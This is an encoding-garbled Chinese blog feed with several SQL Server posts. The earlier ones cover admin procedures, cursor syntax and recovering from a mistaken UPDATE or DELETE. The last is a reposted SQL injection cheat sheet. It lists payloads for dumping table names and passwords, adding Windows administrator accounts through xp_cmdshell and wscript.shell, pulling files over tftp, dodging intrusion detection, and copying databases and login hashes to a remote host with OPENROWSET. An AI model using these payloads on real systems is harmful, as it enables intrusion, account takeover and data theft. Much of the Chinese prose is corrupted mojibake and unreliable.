   sp_helpdb
   
   重命名数据库用的SQL
   sp_renamedb 'old_dbname', 'new_dbname'
   
6. 查看所有数据库用户d信息
   sp_helplogins
   
   查看所有数据库用户所属的角色信息    
   sp_helpsrvrolemember
   
   修复q移服务器时孤立用户?可以用的fix_orphan_user脚本或者LoneUserq程
   
   更改某个数据对象的用户属?
   sp_changeobjectowner [@objectname =] 'object', [@newowner =] 'owner'
   
   注意: 更改对象名的M部分都可能破坏脚本和存储q程?
   
   把一台服务器上的数据库用L录信息备份出来可以用add_login_to_aserver脚本
   
   查看某数据库?对象U用h?
   sp_helprotect
   
7. 查看链接服务?       
   sp_helplinkedsrvlogin
   
   查看q端数据库用L录信?   
   sp_helpremotelogin
   
8.查看某数据库下某个数据对象的大小
   sp_spaceused @objname
  
   q可以用sp_toptablesq程看最大的N(默认?0)个表
  
   查看某数据库下某个数据对象的索引信息
   sp_helpindex @objname
   
   q可以用SP_NChelpindexq程查看更详l的索引情况
   SP_NChelpindex @objname
   
   clustered索引是把记录按物理顺序排列的Q烦引占的空间比较少。?
   寚w值DML操作十分频繁的表我徏议用非clustered索引和约束,fillfactor参数都用默认倹{?

   查看某数据库下某个数据对象的的约束信?
   sp_helpconstraint @objname
  
9.查看数据库里所有的存储q程和函?
   use @database_name
   sp_stored_procedures

   查看存储q程和函数的源代?
   sp_helptext '@procedure_name'
   
   查看包含某个字符串@str的数据对象名U?
   select distinct object_name(id) from syscomments where text like '%@str%'
  
   创徏加密的存储过E或函数在AS前面加WITH ENCRYPTION参数
  
   解密加密q的存储q程和函数可以用sp_decryptq程
  
       10.查看数据库里用户和进E的信息
   sp_who

  查看SQL Server数据库里的活动用户和q程的信?
   sp_who 'active'

  查看SQL Server数据库里的锁的情?
   sp_lock
   
   q程?--50是SQL Serverpȝ内部用的,q程号大?0的才是用Lq接q程.

   spid是进E编?dbid是数据库~号,objid是数据对象编?

   查看q程正在执行的SQL语句
   dbcc inputbuffer ()
           
  推荐大家用经q改q后的sp_who3q程可以直接看到q程q行的SQL语句
   sp_who3
   
  查死锁用sp_who_lockq程
   sp_who_lock    
       
       11.查看和收~数据库日志文g的方?
       
          查看所有数据库日志文g大小          
          dbcc sqlperf(logspace)
 
          如果某些日志文g较大Q收~简单恢复模式数据库日志Q收~后@database_name_log的大单位ؓM
   backup log @database_name with no_log
   dbcc shrinkfile (@database_name_log, 5)

       12.分析SQL Server SQL 语句的方?
       
   set statistics time {on | off}

   set statistics io {on | off}

           囑Ş方式昄查询执行计划
           
           在查询分析器->查询->昄估计的评估计?D)-Ctrl-L 或者点dh里的囑Ş
           
           文本方式昄查询执行计划

   set showplan_all {on | off}
   
   set showplan_text { on | off }

   set statistics profile { on | off }
   
 
       13.出现不一致错误时QNT事g查看器里?624号错误,修复数据库的Ҏ
  
  先注释掉应用E序里引用的出现不一致性错误的表,然后在备份或其它机器上先恢复然后做修复操?
  
  alter database [@error_database_name] set single_user
  
  修复出现不一致错误的?
  
  dbcc checktable('@error_table_name',repair_allow_data_loss)
  
  或者可惜选择修复出现不一致错误的型数据库名
  
  dbcc checkdb('@error_database_name',repair_allow_data_loss)

  alter database [@error_database_name] set multi_user

  CHECKDB ?个参?

  repair_allow_data_loss 包括对行和页q行分配和取消分配以Ҏ分配错误、结构行或页的错误,
  以及删除已损坏的文本对象Q这些修复可能会D一些数据丢失?
  修复操作可以在用户事务下完成以允许用户回滚所做的更改?
  如果回滚修复Q则数据库仍会含有错误,应该从备份进行恢复?
  如果׃所提供修复{的缘故遗漏某个错误的修复Q则遗漏Q何取决于该修复的修复?
  修复完成后,请备份数据库。?

  repair_fast q行的、不耗时的修复操作,如修复非聚集索引中的附加键?
  q些修复可以很快完成Qƈ且不会有丢失数据的危险。?

  repair_rebuild 执行由 repair_fast 完成的所有修复,包括需要较长时间的修复Q如重徏索引Q?
  执行q些修复时不会有丢失数据的危险。?img src ="http://www.aygfsteel.com/liaojiyong/aggbug/74260.html" width = "1" height = "1" />

liaojiyong 2006-10-10 12:01 发表评论
]]>
如何让PowerDesigner支持自动生成含SQL Server 2000的表和列注释的角?/title><link>http://www.aygfsteel.com/liaojiyong/archive/2006/10/10/74245.html</link><dc:creator>liaojiyong</dc:creator><author>liaojiyong</author><pubDate>Tue, 10 Oct 2006 03:14:00 GMT</pubDate><guid>http://www.aygfsteel.com/liaojiyong/archive/2006/10/10/74245.html</guid><wfw:comment>http://www.aygfsteel.com/liaojiyong/comments/74245.html</wfw:comment><comments>http://www.aygfsteel.com/liaojiyong/archive/2006/10/10/74245.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.aygfsteel.com/liaojiyong/comments/commentRss/74245.html</wfw:commentRss><trackback:ping>http://www.aygfsteel.com/liaojiyong/services/trackbacks/74245.html</trackback:ping><description><![CDATA[     摘要: PowerDesigner是Sybase公司著名的品,我从16-bit的Windows开始,接触ƈ使用q个工具Q应该说是有很深的感情。PowerDesigner是DBA和Y件架构师设计的利器,随着版本的不断升U,PowerDesigner提供了更多更强大的功能。仅以本ؓ开始,向大家介l一些PowerDesinger中的使用技巧,帮助大家更好地更有效率地使用q个CASE工具? ...  <a href='http://www.aygfsteel.com/liaojiyong/archive/2006/10/10/74245.html'>阅读全文</a><img src ="http://www.aygfsteel.com/liaojiyong/aggbug/74245.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.aygfsteel.com/liaojiyong/" target="_blank">liaojiyong</a> 2006-10-10 11:14 <a href="http://www.aygfsteel.com/liaojiyong/archive/2006/10/10/74245.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>mmsql游标詌http://www.aygfsteel.com/liaojiyong/archive/2006/09/30/73071.htmlliaojiyongliaojiyongSat, 30 Sep 2006 08:30:00 GMThttp://www.aygfsteel.com/liaojiyong/archive/2006/09/30/73071.htmlhttp://www.aygfsteel.com/liaojiyong/comments/73071.htmlhttp://www.aygfsteel.com/liaojiyong/archive/2006/09/30/73071.html#Feedback0http://www.aygfsteel.com/liaojiyong/comments/commentRss/73071.htmlhttp://www.aygfsteel.com/liaojiyong/services/trackbacks/73071.html每一个游标必L四个l成部分q四个关键部分必ȝ合下面的序Q? 1.DECLARE 游标 2.OPEN 游标 3.从一个游标中FETCH 信息 4.CLOSE 或DEALLOCATE 游标 通常我们使用DECLARE 来声明一个游标声明一个游标主要包括以下主要内容: 游标名字 数据来源Q表和列Q? 选取条g 属性(仅读或可修改Q? 其语法格式如下: DECLARE cursor_name [INSENSITIVE] [SCROLL] CURSOR FOR select_statement [FOR {READ ONLY | UPDATE [OF column_name [,...n]]}] 其中Q? cursor_name 指游标的名字? INSENSITIVE 表明MS SQL SERVER 会将游标定义所选取出来的数据记录存攑֜一临时表内Q徏立在tempdb 数据库下Q?br />对该游标的读取操作皆׃时表来应{。因此,对基本表的修改ƈ不媄响游标提取的数据Q即游标不会随着
基本表内容的改变而改变,同时也无法通过 游标来更新基本表。如果不使用该保留字Q那么对基本表的更新、删除都会反映到游标中? 另外应该指出Q当遇到以下情况发生Ӟ游标自动设定INSENSITIVE 选项? 在SELECT 语句中用DISTINCT?GROUP BY?HAVING UNION 语句Q? 使用OUTER JOINQ? 所选取的Q意表没有索引Q? 实数值当作选取的列? SCROLL 表明所有的提取操作Q如FIRST?LAST?PRIOR?NEXT?RELATIVE?ABSOLUTEQ都可用?br />如果不用该保留字,那么只能q行NEXT 提取操作。由此可见,SCROLL 极大地增加了提取数据的灵zL,
可以随意dl果集中的Q一行数据记录,而不必关闭再 重开游标? select_statement 是定义结果集的SELECT 语句。应该注意的是,在游标中不能使用COMPUTE、COMPU- TE BY?FOR BROWSE?
INTO 语句? READ ONLY 表明不允许游标内的数据被更新管在缺省状态下游标是允许更新的。而且在UPDATE或DELETE 语句?br />WHERE CURRENT OF 子句中,不允许对该游标进行引用? UPDATE [OF column_name[,…n]] 定义在游标中可被修改的列Q如果不指出要更新的列,那么所有的列都被更新?br />当游标被成功创徏后,游标名成游标的惟一标识Q如果在以后的存储过E、触发器或Transact_SQL
脚本中用游标,必须指定该游标的名字? LOCAL 定义游标的作用域仅限在其所在的存储q程、触发器或批处理中。当建立游标的存储过E执行结束后Q?br />游标会被自动释放。因此,我们常在存储q程中用OUTPUT 保留字,游标传递给该存储过E的调用者,
q样在存储过E执行结束后Q可以引用该游标变量Q在该种情况下,直到引用该游标的最后一个就是被释放Ӟ
游标才会自动释放? GLOBAL 定义游标的作用域是整个会话层会话层指用户的连接时间它包括从用L录到SQLSERVER 到脱L据库的整D|间?br />选择GLOBAL 表明在整个会话层的Q何存储过E、触发器或批处理中都可以使用该游标,只有当用戯L据库?br />时该游标才会被自动释放? 注意Q如果既未用GLOBAL也未使用LOCALQ那么SQL SERVER用default local cursor数据库选项Qؓ?br />与以彰的版本歉容Q该选项常设|ؓFALSE? FORWARD_ONLY 选项指明在从游标中提取数据记录时Q只能按照从W一行到最后一行的序Q此时只能选用FETCH NEXT 操作?br />除非使用STATICQ?KEYSET 和DYNAMIC 关键字,否则如果未指明是使用FORWARD_ONLY q是使用SCROLLQ?
那么FORWARD_ONLY 成为缺省选项Q因使用STATIC KEYSET 和DYNAMIC 关键字,则变成了SCROLL 游标?br />另外如果使用了FORWARD_ONLYQ?便不能用FAST_FORWARD? STATIC 选项的含义与INSENSITIVE 选项一PMS SQL SERVER 会将游标定义所选取出来的数据记录存攑֜一临时表内
Q徏立在tempdb 数据库下Q。对该游标的d操作皆由临时表来应答。因此对基本表的修改q不影响游标中的数据Q?br />x标不会随着基本表内容的 改变而改变,同时也无法通过游标来更新基本表? KEYSET 指出当游标被打开Ӟ游标中列的顺序是固定的,q且MS SQL SERVER 会在tempdb内徏立一个表Q该表即为KEYSET
KEYSET 的键值可惟一识别游标中的某行数据。当游标拥有者或其它用户对基本表中的非键值数据进行修ҎQ?br />q种变化能够反映到游标中Q所以游标用h所有者可以通过滚动游标提限q些数据? 当其它用户增加一条新的符合所定义的游标范围的数据Ӟ无法由此游标d该数据。因为Transact-SQL
服务器游标不支持INSERT 语句? 如果在游标中的某一行被删除掉,那么当通过游标来提取该删除行时Q@@FETCH_STATUS 的返回gؓ-2?
@@FETCH_STATUS 是用来判断读取游标是否成功的pȝ全局变量? ׃更新操作包括两部分:删除原数据插入新数据Q所以如果读取原数据Q@@FETCH_STATUS 的返回gؓ-2Q?
而且无法通过游标来读取新插入的数据。但是如果用了WHERE CURRENT OF 子句Ӟ该新插入行数据便是可见的? 注意Q如果基表未包含惟一的烦引或主键Q则一个KEYSET游标回复成STATIC游标? DYNAMIC 指明基础表的变化反映到游标中,使用q个选项会最大程度上保证数据的一致性。然而,与KEYSET 和STATIC
cd游标相比较,此类型游标需要大量的游标资源? FAST_FORWARD 指明一个FORWARD_ONLY, READ_ONLY 型游标。此选项已ؓ执行q行了优化。如果SCROLL 或FOR_UPDATE 选项被定?br />Q则FAST_FORWARD 选项不能被定义? SCROLL_LOCKS 指明锁被攄在游标结果集所使用的数据上当。数据被d游标中时Q就会出现锁。这个选项保对一个游标进行的?br />新和删除操作总能被成功执行。如果FAST_FORWARD选项被定义,则不能选择该选项。另外,׃数据被游标锁定,所
以当考虑到数据ƈ发处理时Q应避免使用该选项? OPTIMISTIC 指明在数据被d游标后,如果游标中某行数据已发生变化Q那么对游标数据q行更新或删除可能会Dp|。如果
用了FAST_FORWARD 选项Q则不能使用该选项? TYPE_WARNING 指明若游标类型被修改成与用户定义的类型不同时Q将发送一个警告信息给客户端? 注意Q不可以SQL_92的游标语法规则与MS SQL SERVER的游标扩展用法؜合在一起用? 下面我们ȝ一下声明游标时应注意的一些问题? 如果在CURSOR 前用了SCROLL 或INSENSITIVE 保留字,则不能在CURSOR 和FOR select_statement
之间使用M的保留字。反之同理? 如果用DECLARE CURSOR 声明游标Ӟ没有选择READ_ONLY?OPTIMISTIC 或SCROLL_LOCKS 选项Ӟ
游标的缺省情况ؓQ? 如果SELECT 语句不支持更斎ͼ则游标ؓREAD_ONLYQ? STATIC 和FAST_FORWARD cd的游标缺省ؓREAD_ONLYQ? DYNAMIC 和KEYSET 游标~省为OPTIMISTIC? 我们仅能在Transact-SQL 语句中引用游标,而不能在数据库API 函数中引用? 游标被声明以后,可以通过pȝq程对其Ҏ进行设|? 寚w些有权限对视图、表或某些列执行SELECT 语句的用戯言Q它也具有用游标的~省权限?

liaojiyong 2006-09-30 16:30 发表评论
]]>
利用事务日志来恢复数据库------利用事务日志来恢复Update、Delete误操作引L数据丢失http://www.aygfsteel.com/liaojiyong/archive/2006/09/30/73065.htmlliaojiyongliaojiyongSat, 30 Sep 2006 08:12:00 GMThttp://www.aygfsteel.com/liaojiyong/archive/2006/09/30/73065.htmlhttp://www.aygfsteel.com/liaojiyong/comments/73065.htmlhttp://www.aygfsteel.com/liaojiyong/archive/2006/09/30/73065.html#Feedback0http://www.aygfsteel.com/liaojiyong/comments/commentRss/73065.htmlhttp://www.aygfsteel.com/liaojiyong/services/trackbacks/73065.htmlupdate或delete语句忘带了where子句Q或where子句_ֺ不够Q执行之后造成了严重的后果Q?br />q种情况的数据恢复只能利用事务日志的备䆾来进行,所以如果你的SQL没有q行相应的全库备?br />或不能备份日志(truncate log on checkpoint选项?Q,那么无法进行数据的恢复了,或?br />只能恢复到最q一ơ的备䆾的数据了?

以下单说明恢复数据方法:
1Q如果误操作之前存在一个全库备份(或已有多个差异备份或增量备䆾Q,首先要做的事是q?br />q行一ơ日志备份(如果Z不让日志文g变大而置trunc. log on chkpt.选项?那你死翘了)
backup log dbName to disk='fileName'
2Q恢复一个全库备份,注意需要用with norecoveryQ如果还有其他差异或增量备䆾Q则逐个?br />?br />restore database dbName from disk='fileName' with norecovery
3Q恢复最后一个日志备份即刚做的日志备份,指定恢复旉点到误操作之前的时刻
restore log dbName from disk='fileName'
with stopat='date_time'

以上q些操作都可以在SQL SERVER企业理器里完成Q难度不大。。?/p>

当然Q如果误操作是一些不记日志的操作比如truncate tableQselect into{操作,那么是无法利
用上q方法来恢复数据?..



liaojiyong 2006-09-30 16:12 发表评论
]]>
Sql注射ȝ(?http://www.aygfsteel.com/liaojiyong/archive/2006/09/30/72945.htmlliaojiyongliaojiyongSat, 30 Sep 2006 01:06:00 GMThttp://www.aygfsteel.com/liaojiyong/archive/2006/09/30/72945.htmlhttp://www.aygfsteel.com/liaojiyong/comments/72945.htmlhttp://www.aygfsteel.com/liaojiyong/archive/2006/09/30/72945.html#Feedback0http://www.aygfsteel.com/liaojiyong/comments/commentRss/72945.htmlhttp://www.aygfsteel.com/liaojiyong/services/trackbacks/72945.html最重要的表名:
select * from sysobjects
sysobjects ncsysobjects
sysindexes tsysindexes
syscolumns
systypes
sysusers
sysdatabases
sysxlogins
sysprocesses
最重要的一些用户名Q默认sql数据库中存在着的)
public
dbo
guest(一般禁止,或者没权限)
db_sercurityadmin
ab_dlladmin
一些默认扩?br />xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
xp_availablemedia 驱动器相?br />xp_dirtree 目录
xp_enumdsn odbcq接
xp_loginconfig 服务器安全模式信?br />xp_makecab 创徏压羃?br />xp_ntsec_enumdomains domain信息
xp_terminate_process l端q程Q给Z个pid
例如Q?br />sp_addextendedproc xp_webserver, c:tempxp_foo.dll
exec xp_webserver
sp_dropextendedproc xp_webserver
bcp select * from test..foo queryout c:inetpubwwwrootruncommand.asp -c -slocalhost -usa -pfoobar
group by users.id having 1=1-
group by users.id, users.username, users.password, users.privs having 1=1-
; insert into users values( 666, attacker, foobar, 0xffff )-
union select top 1 column_name from information_schema.columns where table_name=logintable-
union select top 1 column_name from information_schema.columns where table_name=logintable where column_name not in (login_id)-
union select top 1 column_name from information_schema.columns where table_name=logintable where column_name not in (login_id,login_name)-
union select top 1 login_name from logintable-
union select top 1 password from logintable where login_name=rahul--
构造语句:查询是否存在xp_cmdshell
union select @@version,1,1,1--
and 1=(select @@version)
and sa=(select system_user)
union select ret,1,1,1 from foo--
union select min(username),1,1,1 from users where username > a-
union select min(username),1,1,1 from users where username > admin-
union select password,1,1,1 from users where username = admin--
and user_name()=dbo
and 0<>(select user_name()-
; declare @shell int exec sp_oacreate wscript.shell,@shell output exec sp_oamethod @shell,run,null, cQwinntsystem32cmd.exe /c net user swap 5245886 /add
and 1=(select count(*) from master.dbo.sysobjects where xtype = x and name = xp_cmdshell)
;exec master.dbo.sp_addextendedproc xp_cmdshell, xplog70.dll
1=(Q?0selectQ?0count(*)Q?0fromQ?0master.dbo.sysobjectsQ?0whereQ?0xtype=xQ?0andQ?0name=xp_cmdshell)
and 1=(select is_srvrolemember(sysadmin)) 判断sa权限是否
and 0<>(select top 1 paths from newtable)-- 暴库大法
and 1=(select name from master.dbo.sysdatabases where dbid=7) 得到库名Q从1?都是pȝ的idQ?以上才可以判断)
创徏一个虚拟目录e盘:
declare @o int exec sp_oacreate wscript.shell, @o out exec sp_oamethod @o, run, null, cscript.exe cQinetpubwwwrootmkwebdir.vbs -w 默认 web 站点 -v e,eQ?br />讉K属性:Q配合写入一个webshellQ?br />declare @o int exec sp_oacreate wscript.shell, @o out exec sp_oamethod @o, run, null, cscript.exe cQinetpubwwwrootchaccess.vbs -a w3svc/1/root/e browse
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
依次提交 dbid = 7,8,9.... 得到更多的数据库?br />and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=u) 暴到一个表 假设?admin
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=u and name not in (admin)) 来得到其他的表?br />and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=u and name=admin
and uid>(str(id))) 暴到uid的数值假设ؓ18779569 uid=id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字D?假设?user_id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in
(id,...)) 来暴出其他的字段
and 0<(select user_id from bbs.dbo.admin where username>1) 可以得到用户?
依次可以得到密码。。。。。假讑֭在user_id username ,password {字D?br />show.asp?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
show.asp?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin
(union语句到处风靡啊,access也好?br />暴库Ҏ技巧::Q?c= 或者把/?修改Q?提交
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=u) 得到表名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=u and name not in(address))
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=u and name=admin and uid>(str(id))) 判断id?br />and 0<>(select top 1 name from bbs.dbo.syscolumns where id=773577794) 所有字D?br />;create table [dbo].[swap] ([swappass][char](255));--
and (select top 1 swappass from swap)=1
;create table newtable(id int identity(1,1),paths varchar(500)) declare @test varchar(20) exec master..xp_regread @rootkey=hkey_local_machine, @key=systemcurrentcontrolsetservicesw3svcparametersvirtual roots, @value_name=/, values=@test output insert into paths(path) values(@test)
政策法规Qinfoid={57c4165a-4206-4c0d-a8d2-e70666ee4e08};useQ?0master;declareQ?0@sQ?0Q?0int;execQ?0sp_oacreateQ?0wscript.shell,@sQ?0out;execQ?0sp_oamethodQ?0@s,run,null,cmd.exeQ?0/cQ?0pingQ?01.1.1.1;--
得到了web路径d:xxxx,接下来:
;use ku1;--
;create table cmd (str image);--
传统的存在xp_cmdshell的测试过E:
;exec master..xp_cmdshell dir
;exec master.dbo.sp_addlogin hax;--
;exec master.dbo.sp_password null,hax,hax;--
;exec master.dbo.sp_addsrvrolemember hax sysadmin;--
;exec master.dbo.xp_cmdshell net user hax 5258 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add;--
;exec master.dbo.xp_cmdshell net localgroup administrators hax /add;--
exec master..xp_servicecontrol start, schedule
exec master..xp_servicecontrol start, server
httpQ?/www.xxx.com/list.asp?classid=1; declare @shell int exec sp_oacreate wscript.shell,@shell output exec sp_oamethod @shell,run,null, cQwinntsystem32cmd.exe /c net user swap 5258 /add
;declare @shell int exec sp_oacreate wscript.shell,@shell output exec sp_oamethod @shell,run,null, cQwinntsystem32cmd.exe /c net localgroup administrators swap/add
; exec master..xp_cmdshell tftp -i youip get file.exe-
declare @a sysname set @a=xp_ cmdshell exec @a dir c:
declare @a sysname set @a=xp _cm dshell exec @a dir c:
;declare @a;set @a=db_name();backup database @a to disk=你的ip你的׃n目录bak.dat
如果被限制则可以?br />select * from openrowset(sqloledb,server;sa;,select ok! exec master.dbo.sp_addlogin hax)
传统查询构造:
select * from news where id=... and topic=... and .....
adminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1) and userpass <>
select 123;--
;use master;--
:a or name like fffQ?-- 昄有一个叫ffff的用户哈?br />and 1<>(select count(email) from [user]);--
;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;--
说明:
上面的语句是得到数据库中的第一个用戯,q把表名攑֜ffff用户的邮字D中?br />通过查看ffff的用戯料可得第一个用表叫ad
然后Ҏ表名ad得到q个表的id
ffff;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;--
象下面这样就可以得到W二个表的名字了
ffff;update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;--
ffff;update [users] set email=(select top 1 count(id) from password) where name=ffff;--
ffff;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;--
ffff;update [users] set email=(select top 1 name from password where id=2) where name=ffff;--
exec master..xp_servicecontrol start, schedule
exec master..xp_servicecontrol start, server
sp_addextendedproc xp_webserver, c:tempxp_foo.dll
扩展存储可以通过一般的Ҏ调用Q?
exec xp_webserver
一旦这个扩展存储执行过Q可以这样删除它:
sp_dropextendedproc xp_webserver
insert into users values( 666, char(0x63) char(0x68) char(0x72) char(0x69) char(0x73), char(0x63) char(0x68) char(0x72) char(0x69) char(0x73), 0xffff)-
insert into users values( 667,123,123,0xffff)-
insert into users values ( 123, admin--, password, 0xffff)-
;and user>0
;;and (select count(*) from sysobjects)>0
;;and (select count(*) from mysysobjects)>0 //为access数据?br />-----------------------------------------------------------通常注射的一些介l:
a) id=49 q类注入的参数是数字型,sql语句原貌大致如下Q?br />select * from 表名 where 字段=49
注入的参Cؓid=49 and [查询条g]Q即是生成语句:
select * from 表名 where 字段=49 and [查询条g]
(b) class=q箋?q类注入的参数是字符型,sql语句原貌大致概如下:
select * from 表名 where 字段=q箋?
注入的参Cؓclass=q箋?and [查询条g] and = Q即是生成语句:
select * from 表名 where 字段=q箋?and [查询条g] and =
(c) 搜烦时没qo参数的,如keyword=关键字,sql语句原貌大致如下Q?br />select * from 表名 where 字段like Q关键字Q?
注入的参Cؓkeyword= and [查询条g] and Q?5=Q?x生成语句Q?br />select * from 表名 where字段like Q?and [查询条g] and Q?Q?br />;;and (select top 1 name from sysobjects where xtype=u and status>0)>0
sysobjects是sqlserver的系l表Q存储着所有的表名、视图、约束及其它对象Qxtype=u and status>0Q表C用户徏立的表名Q上面的语句第一个表名取出,?比较大小Q让报错信息把表名暴露出来?br />;;and (select top 1 col_name(object_id(表名),1) from sysobjects)>0
从⑤拿到表名后,用object_id(表名)获取表名对应的内部idQcol_name(表名id,1)代表该表的第1个字D名Q将1换成2,3,4...可以逐个获取所猜解表里面的字段名?br />post.htm内容Q主要是方便输入?br />〈iframe name=p src=# width=800 height=350 frameborder=0>

〈input name=id value=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);-- style=width:750>
〈input type=submit value=>>>>
〈input type=hidden name=fno value=2, 3>

枚DZ的数据表名:
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);--
q是第一个表名更新到aaa的字D处?br />dW一个表Q第二个表可以这栯出来Q在条g后加?and name<>刚才得到的表名)?br />id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0 and name<>vote);--
然后id=1552 and exists(select * from aaa where aaa>5)
dW二个表Q^^^^^^一个个的读出,直到没有为止?br />dD|q样Q?br />id=1552;update aaa set aaa=(select top 1 col_name(object_id(表名),1));--
然后id=1552 and exists(select * from aaa where aaa>5)出错Q得到字D名
id=1552;update aaa set aaa=(select top 1 col_name(object_id(表名),2));--
然后id=1552 and exists(select * from aaa where aaa>5)出错Q得到字D名
--------------------------------高技巧:
[获得数据表名][字D值更Cؓ表名Q再xdq个字段的值就可得到表名]
update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>你得到的表名 查出一个加一个]) [ where 条g]
select top 1 name from sysobjects where xtype=u and status>0 and name not in(table1,table2,...)
通过sqlserver注入漏洞建数据库理员帐号和pȝ理员帐号[当前帐号必须是sysadminl]
[获得数据表字D名][字D值更Cؓ字段名,再想法读个字D늚值就可得到字D名]
update 表名 set 字段=(select top 1 col_name(object_id(要查询的数据表名),字段列如:1) [ where 条g]
l过ids的检[使用变量]
declare @a sysname set @a=xp_ cmdshell exec @a dir c:
declare @a sysname set @a=xp _cm dshell exec @a dir c:
1?开启远E数据库
基本语法
select * from openrowset(sqloledb, server=servername;uid=sa;pwd=apachy_123, select * from table1 )
参数: (1) oledb provider name
2?其中q接字符串参数可以是M和端口用来连?比如
select * from openrowset(sqloledb, uid=sa;pwd=apachy_123;network=dbmssocn;address=202.100.100.1,1433;, select * from table
要复制目标主机的整个数据库,首先要在目标L上和自己机器上的数据库徏立连?如何在目标主Z建立q程q接Q刚才已l讲?,之后insert所有远E表到本地表?br />基本语法Q?br />insert into openrowset(sqloledb, server=servername;uid=sa;pwd=apachy_123, select * from table1) select * from table2
q行语句目标主Ztable2表中的所有数据复制到q程数据库中的table1表中。实际运用中适当修改q接字符串的ip地址和端口,指向需要的地方Q比如:
insert into openrowset(sqloledb, uid=sa;pwd=apachy_123;network=dbmssocn;address=202.100.100.1,1433;, select * from table1) select * from table2
insert into openrowset(sqloledb, uid=sa;pwd=hack3r;network=dbmssocn;address=202.100.100.1,1433;, select * from _sysdatabases)
select * from master.dbo.sysdatabases
insert into openrowset(sqloledb, uid=sa;pwd=hack3r;network=dbmssocn;address=202.100.100.1,1433;, select * from _sysobjects)
select * from user_database.dbo.sysobjects
insert into openrowset(sqloledb, uid=sa;pwd=apachy_123;network=dbmssocn;address=202.100.100.1,1433;, select * from _syscolumns)
select * from user_database.dbo.syscolumns
之后Q便可以从本地数据库中看到目标主机的库结构,q已l易如反掌,不多Ԍ复制数据库:
insert into openrowset(sqloledb, uid=sa;pwd=apachy_123;network=dbmssocn;address=202.100.100.1,1433;, select * from table1) select * from database..table1
insert into openrowset(sqloledb, uid=sa;pwd=apachy_123;network=dbmssocn;address=202.100.100.1,1433;, select * from table2) select * from database..table2
......
3???制哈西表QhashQ?br />q实际上是上q复5?制数据库的一个扩展应用。登录密码的hash存储于sysxlogins中。方法如下:
insert into openrowset(sqloledb, uid=sa;pwd=apachy_123;network=dbmssocn;address=202.100.100.1,1433;, select * from _sysxlogins) select * from database.dbo.sysxlogins
得到hash之后Q??可以进行暴力破解。这需要一点运气和大量旉?br />遍历目录的方法:
先创Z个时表Qtemp
5;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
5;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
5;insert into temp(id) exec master.dbo.xp_subdirs c:;-- 获得子目录列?br />5;insert into temp(id,num1) exec master.dbo.xp_dirtree c:;-- 获得所有子目录的目录树l构,q寸入temp表中
5;insert into temp(id) exec master.dbo.xp_cmdshell type c:webindex.asp;-- 查看某个文g的内?br />5;insert into temp(id) exec master.dbo.xp_cmdshell dir c:;--
5;insert into temp(id) exec master.dbo.xp_cmdshell dir c: *.asp /s/a;--
5;insert into temp(id) exec master.dbo.xp_cmdshell cscript c:inetpubadminscriptsadsutil.vbs enum w3svc
5;insert into temp(id,num1) exec master.dbo.xp_dirtree c:;-- Qxp_dirtree适用权限publicQ?br />写入表:
语句1Q and 1=(select is_srvrolemember(sysadmin));--
语句2Q and 1=(select is_srvrolemember(serveradmin));--
语句3Q and 1=(select is_srvrolemember(setupadmin));--
语句4Q and 1=(select is_srvrolemember(securityadmin));--
语句5Q and 1=(select is_srvrolemember(securityadmin));--
语句6Q and 1=(select is_srvrolemember(diskadmin));--
语句7Q and 1=(select is_srvrolemember(bulkadmin));--
语句8Q and 1=(select is_srvrolemember(bulkadmin));--
语句9Q and 1=(select is_member(db_owner));--
把\径写到表中去Q?br />;create table dirs(paths varchar(100), id int)-
;insert  dirs exec master.dbo.xp_dirtree c:-
 and 0<>(select top 1 paths from dirs)-
 and 0<>(select top 1 paths from dirs where paths not in(@inetpub))-
语句Q?create table dirs1(paths varchar(100), id int)--
语句Q?insert dirs exec master.dbo.xp_dirtree e:web--
语句Q and 0<>(select top 1 paths from dirs1)-
把数据库备䆾到网늛录:下蝲
;declare @a sysname; set @a=db_name();backup database @a to disk=e:webdown.bak;--
andQ?01=(selectQ?0topQ?01Q?0nameQ?0from(selectQ?0topQ?012Q?0id,nameQ?0fromQ?0sysobjectsQ?0whereQ?0xtype=char(85))Q?0tQ?0orderQ?0byQ?0idQ?0desc)
andQ?01=(selectQ?0topQ?01Q?0col_name(object_id(user_login),1)Q?0fromQ?0sysobjects) 参看相关表?br />and 1=(selectQ?0user_idQ?0fromQ?0user_login)
andQ?00=(selectQ?0userQ?0fromQ?0user_loginQ?0whereQ?0user>1)

liaojiyong 2006-09-30 09:06 发表评论
]]>
